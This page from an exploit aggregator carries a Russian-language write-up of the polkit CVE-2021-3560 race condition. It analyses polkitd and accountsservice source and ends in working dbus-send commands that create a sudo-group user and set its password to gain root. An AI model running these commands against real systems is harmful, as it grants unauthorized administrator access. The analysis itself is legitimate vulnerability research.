Sploitus

Exploit for CVE-2021-3560

kitploit · 2026-08-25

Exploit Code

MARKDOWN432 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHENAOTIAN-CVE-2021-3560
# CVE-2021-3560 PolKit: анализ локального повышения привилегий через гонку состояний

[toc]

## Обзор уязвимости

Идентификатор уязвимости: CVE-2021-3560

Оценка уязвимости:

Уязвимый продукт: linux PolKit (polkitd)

Затронутые версии: внедрена в исходном коде 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  * RHEL 8
  * Fedora 21 и выше
  * Debian testing (“bullseye”)
  * Ubuntu 20.04



Условия эксплуатации: локальный доступ к linux; наличие dbus + polkitd

Результат эксплуатации: локальное повышение привилегий

Получение исходного кода:

  * polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  * accountsservice: `apt source accountsservice`
  * dbus: `apt source dbus`



## Настройка окружения

Стандартного образа ubuntu-20.04.2 достаточно для воспроизведения: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

## Принцип уязвимости

### Место возникновения уязвимости

Сначала посмотрим на проблемный код

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
    
    
    static void
    on_retrieved_unix_uid_pid (GObject              *src,
    			   GAsyncResult         *res,
    			   gpointer              user_data)
    {
      AsyncGetBusNameCredsData *data = user_data;
      GVariant *v;
    
      v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
    				     data->caught_error ? NULL : data->error);
      if (!v)
        {
          data->caught_error = TRUE; //某些原因失败之后设置error位
        }
      else
      {
          ··· ···//执行成功的数据处理
      }
      ··· ···
    }
    
    static gboolean
    polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
    				       guint32                       *out_uid,
    				       guint32                       *out_pid,
    				       GCancellable                  *cancellable,
    				       GError                       **error)
    {
      gboolean ret = FALSE;
      AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
      ··· ···
      g_dbus_connection_call (connection,
    			  "org.freedesktop.DBus",       /* name */
    			  "/org/freedesktop/DBus",      /* object path */
    			  "org.freedesktop.DBus",       /* interface name */
    			  "GetConnectionUnixUser",      /* method */
    			  g_variant_new ("(s)", system_bus_name->name),
    			  G_VARIANT_TYPE ("(u)"),
    			  G_DBUS_CALL_FLAGS_NONE,
    			  -1,
    			  cancellable,
    			  on_retrieved_unix_uid_pid, //回调函数
    			  &data);
      g_dbus_connection_call (connection,
    			  "org.freedesktop.DBus",       /* name */
    			  "/org/freedesktop/DBus",      /* object path */
    			  "org.freedesktop.DBus",       /* interface name */
    			  "GetConnectionUnixProcessID", /* method */
    			  g_variant_new ("(s)", system_bus_name->name),
    			  G_VARIANT_TYPE ("(u)"),
    			  G_DBUS_CALL_FLAGS_NONE,
    			  -1,
    			  cancellable,
    			  on_retrieved_unix_uid_pid, //回调函数
    			  &data);
    
      while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
        g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
    
      if (out_uid)
        *out_uid = data.uid;
      if (out_pid)
        *out_pid = data.pid;
      ret = TRUE; //无论如何都是 TRUE?
     out:
      if (tmp_context)
        {
          g_main_context_pop_thread_default (tmp_context);
          g_main_context_unref (tmp_context);
        }
      if (connection != NULL)
        g_object_unref (connection);
      return ret;
    }
    

В функции `polkit_system_bus_name_get_creds_sync` выполняется аутентификация некоторых запросов (конкретный логический сценарий будет подробно описан ниже). Сначала через шину `org.freedesktop.DBus` вызываются методы `GetConnectionUnixUser` и `GetConnectionUnixProcessID`; эти методы предоставляются шиной `org.freedesktop.DBus` и служат для получения PID и UID пользователя запрашивающего процесса, после чего данные передаются в callback-функцию `on_retrieved_unix_uid_pid` для обработки. Затем выполняется блокирующее ожидание завершения выполнения процесса на стороне шины.

В функции `on_retrieved_unix_uid_pid` видно, что в зависимости от результата выполнения на стороне шины устанавливается признак ошибки (error?), после чего устанавливается бит ошибки; при успешном выполнении возвращаются UID пользователя или PID процесса. Однако в функции `polkit_system_bus_name_get_creds_sync` после блокирующего ожидания результата от шины (условием завершения обработки является обработка и UID, и PID, либо возникновение ошибки). **То есть, с логической точки зрения, со стороны шины возможны три результата: получен UID пользователя 0 — привилегированный пользователь; получен UID пользователя, отличный от 0, — обычный пользователь; ошибка.** Но в дальнейшей обработке ошибка не обрабатывается: `out_uid`, возвращаемый на верхний уровень, напрямую устанавливается в `data.uid`, полученный от шины, а затем `ret` просто устанавливается в `TRUE`:

root@kitploit:~
    
    
      while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
        g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
    
      if (out_uid)
        *out_uid = data.uid;
      if (out_pid)
        *out_pid = data.pid;
      ret = TRUE; //无论如何都是 TRUE?
    

**Однако был упущен случай, когда на стороне шины DBUS возникает ошибка выполнения: callback-функция устанавливает бит ошибки и возвращается, так и не обработав данные`data`, а `data` инициализируется нулём. В результате далее `out_uid` устанавливается в 0, то есть в привилегированного пользователя.**

Где же используется эта проблемная функция `polkit_system_bus_name_get_creds_sync`?

### Путь срабатывания

Процессом, в котором находится уязвимость, является polkitd:

> polkit — это набор инструментов прикладного уровня, который, определяя и проверяя правила прав доступа, обеспечивает взаимодействие между процессами с разными приоритетами: управление решениями централизовано в единой среде и определяет, имеет ли процесс с низким приоритетом право доступа к процессу с высоким приоритетом.

Проще говоря, это фоновый процесс root, который посредством межпроцессного взаимодействия выполняет проверку прав, когда другие процессы с низкими привилегиями обращаются к функциям, предоставляемым процессами с высокими привилегиями. Поскольку при подключении gdb этот процесс перезапускается, анализ можно проводить только на уровне исходного кода, чтобы найти путь срабатывания уязвимой функции:

В `polkitd` для разработки широко используется фреймворк межпроцессного взаимодействия `gio DBUS`; можно заранее ознакомиться с руководством, обратив внимание на некоторые ключевые функции.

Далее проанализируем путь срабатывания уязвимости в `polkitd`:

  1. Сначала main:

polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

root@kitploit:~
         
         int
         main (int    argc,
               char **argv)
         {
           ··· ···
           ··· ···
         
           loop = g_main_loop_new (NULL, FALSE);
         
           sigint_id = g_unix_signal_add (SIGINT,
                                          on_sigint,
                                          NULL);
         
           name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                           "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                           G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                             (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                           on_bus_acquired, //访问该总线时的回调函数
                                           on_name_acquired,
                                           on_name_lost,
                                           NULL,
                                           NULL);
         
           g_print ("Entering main event loop\n");
           g_main_loop_run (loop); //循环启动
           ··· ···
           ··· ···
         }
         

  2. Сначала регистрируется шина `org.freedesktop.PolicyKit1`, затем есть три callback-функции; основное внимание стоит уделить `on_bus_acquired`, которая вызывается при обращении к шине.

  3. В функции `on_bus_acquired` напрямую вызывается функция регистрации `polkit_backend_authority_register`




Иными словами, когда другие функции вызывают метод `CheckAuthorization` на шине `org.freedesktop.PolicyKit1.Authority`, при определённом сценарии (контроль над возвратом ошибки при получении UID запрашивающего процесса через DBUS) корректность аутентификации этого метода нарушается. Поскольку ответ уже можно увидеть напрямую, метод эксплуатации уязвимости — при использовании account-daemon

## Эксплуатация уязвимости

### Общий анализ

Сначала приведём схему автора эксплойта:

![image-20220131163536269](https://assets.kitploit.com/production/public/readmes/23849/3a4a10f9941ffd60db49ccfdcb52b58e68408ab5c3729136cc52fe39e79337ac.png)

Поясним, что изображено на схеме:

  * Процессы `polkitd`, `dbus-daemon` и `account-daemon` — все три являются фоновыми сервисными процессами, работающими с правами root.

  * `dbus-daemon` — это «маршрутизатор» межпроцессного взаимодействия, то есть ядро упомянутого выше фреймворка GIO DBUS. По моему пониманию, разные процессы могут регистрировать здесь имена шин; процесс, желающий связаться с вами, обращается к имени шины, а также к интерфейсу и имени метода, чтобы вызвать функции в вашем процессе. Некоторые функции процесса `polkitd`, описанные выше, как раз регистрируют шину в dbus и ожидают вызова другими процессами.

  * `account-daemon` аналогичен `polkitd`: он регистрирует в dbus шину `org.freedesktop.Accounts` и предоставляет ряд методов, связанных с учётными записями, например, используемые далее добавление пользователя, установка пароля и т.д. **Кроме того, перед такими операциями, как добавление пользователя, этот процесс выполняет аутентификацию пользователя, используя именно упомянутый выше уязвимый метод шины`CheckAuthorization`, предоставляемый процессом `polkitd`.**

  * 


Таким образом, общий поток событий при эксплуатации уязвимости выглядит так:

  1. С помощью команды `dbus-send` процессу `account-daemon` отправляется сообщение с запросом на создание **пользователя-администратора (метод`CreateUser`, предоставляемый этим процессом, по умолчанию добавляет пользователя-администратора)**, однако с нашими правами выполнить эту операцию невозможно.
  2. После отправки сообщения процессу `account-daemon` последний запрашивает у процесса `polkitd` проверку прав — разрешена ли данная операция добавления пользователя.
  3. `polkitd` запрашивает у шины права пользователя и идентификатор процесса, инициировавшего запрос на создание пользователя. 
     * Нам нужно сделать следующее: убить запрашивающий процесс (то есть процесс `dbus-send`) в промежутке времени между отправкой сообщения, получением его процессом `account-daemon` и запросом `polkitd` прав запрашивающего процесса.
  4. В этот момент шина обнаруживает, что процесс, запросивший добавление пользователя, исчез, и возвращает ошибку.
  5. Как показано в анализе выше, **уязвимость заключается в том, что процесс`polkitd` при ошибке по умолчанию считает её успехом, а затем по умолчанию принимает uid пользователя за 0, то есть за привилегированного пользователя**. Это запускает уязвимость и разрешает данную операцию.



### Анализ поведения взаимодействия account-daemon

Поскольку `dbus-daemon` — это процесс-посредник, подробно анализировать его не будем, но здесь разберём процесс `account-daemon`, который является ключевым в ходе эксплуатации. Этот процесс также использует фреймворк `GIO DBUS`; кратко проанализируем некоторые важные моменты. Сначала посмотрим на

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
    
    
    static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
    
    G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
    ··· ···
    static void
    daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
    {
            iface->handle_create_user = daemon_create_user;
            iface->handle_delete_user = daemon_delete_user;
            ··· ···
    }
    

Здесь используются макросы `G_DEFINE_TYPE_WITH_COD`E и `G_IMPLEMENT_INTERFACE` для выполнения функции `daemon_accounts_accounts_iface_init`; смысл этих двух макросов, в общем, в том, что они найдут возможность выполнить функцию `daemon_accounts_accounts_iface_init`. В функции `daemon_accounts_accounts_iface_init` регистрируется метод `create_user`; посмотрим непосредственно на реализацию функции `daemon_create_user`:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
    
    
    static gboolean
    daemon_create_user (AccountsAccounts      *accounts,
                        GDBusMethodInvocation *context,
                        const gchar           *user_name,
                        const gchar           *real_name,
                        gint                   account_type)
    {
            ··· ···
            data = g_new0 (CreateUserData, 1);
            data->user_name = g_strdup (user_name);
            data->real_name = g_strdup (real_name);
            data->account_type = account_type;
    
            daemon_local_check_auth (daemon,
                                     NULL,
                                     "org.freedesktop.accounts.user-administration",
                                     TRUE,
                                     daemon_create_user_authorized_cb, //回调函数
                                     context,
                                     data,
                                     (GDestroyNotify)create_data_free);
    
            return TRUE;
    }
    

В `daemon_create_user` вызывается функция `daemon_local_check_auth` для проверки того, разрешены ли права запрашивающего пользователя; после успешного вызова будет вызвана callback-функция `daemon_create_user_authorized_cb`. Сначала рассмотрим функцию аутентификации `daemon_local_check_auth`:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
    
    
    void
    daemon_local_check_auth (Daemon                *daemon,
                             User                  *user,
                             const gchar           *action_id,
                             gboolean               allow_interaction,
                             AuthorizedCallback     authorized_cb,
                             GDBusMethodInvocation *context,
                             gpointer               authorized_cb_data,
                             GDestroyNotify         destroy_notify)
    {
            ··· ···
            polkit_authority_check_authorization (daemon->priv->authority,
                                                  subject,
                                                  action_id,
                                                  NULL,
                                                  flags,
                                                  NULL,
                                                  (GAsyncReadyCallback) check_auth_cb,
                                                  data);
            ··· ···
    }
    

Здесь для аутентификации вызывается функция `polkit_authority_check_authorization`, которая является библиотечной функцией, предоставляемой `libpolkit-gobject-1.so.0`; она напрямую вызывает метод `CheckAuthorization` на шине `org.freedesktop.PolicyKit1.Authority` в процессе `polkitd`, как было проанализировано выше. При успешной аутентификации вызывается callback-функция `daemon_create_user_authorized_cb`:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
    
    
    static void
    daemon_create_user_authorized_cb (Daemon                *daemon,
                                      User                  *dummy,
                                      GDBusMethodInvocation *context,
                                      gpointer               data)
    
    {
            ··· ···
    
            argv[0] = "/usr/sbin/adduser";
            argv[1] = "--quiet";
            argv[2] = "--disabled-login";
            argv[3] = "--gecos";
            argv[4] = cd->real_name;
            argv[5] = cd->user_name;
            argv[6] = NULL;
    
            error = NULL;
            if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                    throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                    g_error_free (error);
                    return;
            }
    
            if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                    add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
            }
    
            ··· ···
    }
    

Здесь уже всё очевидно: после успешного добавления пользователь напрямую добавляется в группу sudo, поэтому в конце эксплойта после добавления пользователя можно переключиться на root через `sudo su root`.

Далее рассмотрим демонстрацию ручной эксплуатации уязвимости.

### demo

От имени обычного пользователя напрямую отправляем процессу account-daemon запрос на создание пользователя с помощью команды dbus-send:

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
    

В операционных системах с графическим интерфейсом этот запрос вызовет появление окна ввода пароля:

![image-20220131153323446](https://assets.kitploit.com/production/public/readmes/23849/2bb462b7fc65ca0a0cc15344e27c9ebea62a5a4a1a5953db36d354eaad675e36.png)

В терминалах командной строки, например по ssh, запрос сразу завершится ошибкой:

![image-20220131153521697](https://assets.kitploit.com/production/public/readmes/23849/f9d7f913fae04cf4480bbbf7d722d467b66b070daa9ee98446e7d3c9d7254633.png)

Согласно описанной выше идее эксплуатации, сначала посмотрим на время выполнения этой команды:

root@kitploit:~
    
    
    time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
    

![image-20220131153802829](https://assets.kitploit.com/production/public/readmes/23849/2abe8c2c11619b594e76582bc1a8c3d1aecf654b7bbc18fa5911af7fc243d48d.png)

Затем выбираем момент примерно на середине выполнения этой команды и убиваем её — с некоторой вероятностью уязвимость сработает и пользователь будет создан:

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
    

Повторное выполнение приводит к успеху:

![image-20220131154220337](https://assets.kitploit.com/production/public/readmes/23849/7fc7fcd5ae9abb61c85c263c7768ff12d735e650ce06eddd9939cd673d366666.png)

Кроме того, пользователь находится в группе sudo:

![image-20220131154304858](https://assets.kitploit.com/production/public/readmes/23849/4b4f39e05f6831d9956d43cf46a7046b90a09b089e562e0cf4ef9f3035df920e.png)

Затем тем же способом добавляем ему пароль:

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
    

User1002 необходимо заменить в соответствии с UID только что созданного пользователя; пароль используется в виде хеш-значения. Затем переключаемся на пользователя.

### exp

Здесь эксплойт подробно не расписывается: по сути, нужно просто автоматизировать приведённые выше команды. C-эксплойт с github тоже работает нормально.

hakivvi/CVE-2021-3560

## Меры по смягчению последствий

Обновите до последней версии

## Ссылки

Раскрытие уязвимости (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502